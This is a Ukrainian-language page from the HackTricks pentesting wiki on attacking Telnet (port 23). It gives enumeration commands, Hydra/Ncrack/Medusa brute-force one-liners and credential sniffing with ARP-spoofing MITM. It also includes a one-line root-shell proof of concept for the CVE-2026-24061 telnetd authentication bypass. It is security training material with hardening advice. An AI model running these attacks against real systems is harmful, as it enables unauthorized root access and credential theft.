23 - Pentesting Telnet
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Telnet — мережевий протокол, який надає користувачам незахищений спосіб доступу до комп’ютера по мережі.
Порт за замовчуванням: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Всю цікаву enumeration можна виконати за допомогою nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Скрипт telnet-ntlm-info.nse отримає NTLM-інформацію (версії Windows).
From the telnet RFC: In the TELNET Protocol are various “options” that will be sanctioned and may be used with the “DO, DON’T, WILL, WON’T” structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc.
Я знаю, що можливо перерахувати ці опції, але я не знаю як — дайте знати, якщо знаєте.
Перерахування опцій / можливостей Telnet
Telnet використовує IAC + DO/DONT/WILL/WONT переговори для увімкнення опцій. Ви можете спостерігати підтримувані опції, зафіксувавши початкові переговори та перевіряючи конкретні функції.
Nmap перевірки опцій/функцій
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
Скрипт telnet-encryption перевіряє, чи підтримується опція ENCRYPT; деякі реалізації історично обробляли цю опцію неправильно й були вразливими, але скрипт лише перевіряє підтримку.
telnet-ntlm-info розкриває метадані NTLM (NetBIOS/DNS/OS build), коли Microsoft Telnet NTLM увімкнено.
telnet-brute — NSE brute-force auditor для Telnet.
Brute force
Файл конфігурації
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Автоматичні команди
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Останні вразливості (2022–2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Неправильна перевірка вхідних даних у telnet service дозволяє віддаленим зловмисникам входити з використанням вбудованих облікових даних і виконувати ін’єкцію команд ОС; виправлено у прошивці 1.04B05 або пізнішій.
- CVE-2023-40478 – NETGEAR RAX30: Стекове переповнення буфера в Telnet CLI
passwdдозволяє виконання коду з привілеями root з мережевого оточення; потрібна автентифікація, але її можна обійти. - CVE-2022-39028 – GNU inetutils telnetd: Двобайтна послідовність (
0xff 0xf7/0xff 0xf8) може спричинити NULL-pointer dereference вtelnetd, а повторні падіння можуть призвести до того, що inetd вимкне сервіс (DoS).
Майте на увазі ці CVE під час тріажу вразливостей — якщо ціль працює на непатченій прошивці або застарілому inetutils Telnet daemon, у вас може бути прямий шлях до виконання коду або руйнівного DoS.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Механізм: Telnet NEW_ENVIRON дозволяє клієнтам передавати змінні середовища під час узгодження опцій; inetutils telnetd підставляє %U у своєму шаблоні входу значенням getenv("USER") і передає його напряму в /usr/bin/login, що дозволяє argv-level option injection (no shell expansion).
Причина: версії 1.9.3–2.7 розгортають %U без фільтрації, тож значення USER, що починається з -, розбирається як прапорець login. Наприклад, %U стає -f root, утворюючи /usr/bin/login -h <hostname> "-f root" і пропускаючи автентифікацію через login -f.
Сценарій експлуатації:
- Підключіться до Telnet service і погодьте NEW_ENVIRON, щоб встановити
USER=-f root. telnetdформує argv для login, включно з керованим нападником значенням%U./usr/bin/loginінтерпретує-f rootяк “попередньо аутентифікований користувач root” і породжує root shell.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Примітка щодо патчу: inetutils 2.7-2 вводить допоміжну функцію sanitize(), яка відкидає значення, що починаються з - або містять пробіли/метасимволи перед підстановкою їх у login argv, блокуючи інжекцію опцій.
Виявлення/верифікація: виявляйте відкриті демони за допомогою telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd або netstat -tlnp | grep :23.
Заходи пом’якшення
- Patch/upgrade уразливі пакунки негайно (наприклад, виправлення для Debian у версіях
2:2.4-2+deb12u2,2:2.6-3+deb13u1, та2:2.7-2). - Disable Telnet або обмежте доступ лише довіреними мережами управління під час встановлення патчів.
Перехоплення облікових даних & Man-in-the-Middle
Telnet передає все, включаючи облікові дані, у відкритому тексті. Два швидкі способи перехоплення:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Для активного MITM комбінуйте ARP spoofing (наприклад, arpspoof/ettercap) з тими самими sniffing filters, щоб збирати паролі в комутованих мережах.
Автоматизований Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Більшість IoT botnets (варіанти Mirai) все ще сканують port 23 з невеликими словниками default-credential — відтворення цієї логіки швидко ідентифікує слабкі пристрої.
Експлуатація & Post-Exploitation
У Metasploit є кілька корисних модулів:
auxiliary/scanner/telnet/telnet_version– banner та перелік опцій.auxiliary/scanner/telnet/brute_telnet– багатопотоковий bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE проти вразливого Solaris 9/10 Telnet (обробка опції ENCRYPT).exploit/linux/mips/netgear_telnetenable– вмикає telnet service за допомогою crafted packet на багатьох NETGEAR роутерах.
Після отримання shell пам’ятайте, що TTYs are usually dumb; оновіть його за допомогою python -c 'import pty;pty.spawn("/bin/bash")' або використайте HackTricks TTY tricks.
Зміцнення & Виявлення (Blue team corner)
- Віддавайте перевагу SSH і повністю вимкніть службу Telnet.
- Якщо Telnet потрібен, прив’язуйте його лише до management VLANs, застосовуйте ACLs і обгорніть демон TCP wrappers (
/etc/hosts.allow). - Замініть застарілі реалізації
telnetdнаssl-telnetабоtelnetd-ssl, щоб додати шифрування транспорту, але це захищає лише data-in-transit — password-guessing залишається тривіальним. - Моніторте вихідний трафік на порт 23; при компрометації часто запускаються reverse shells через Telnet, щоб обійти суворі HTTP egress фільтри.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


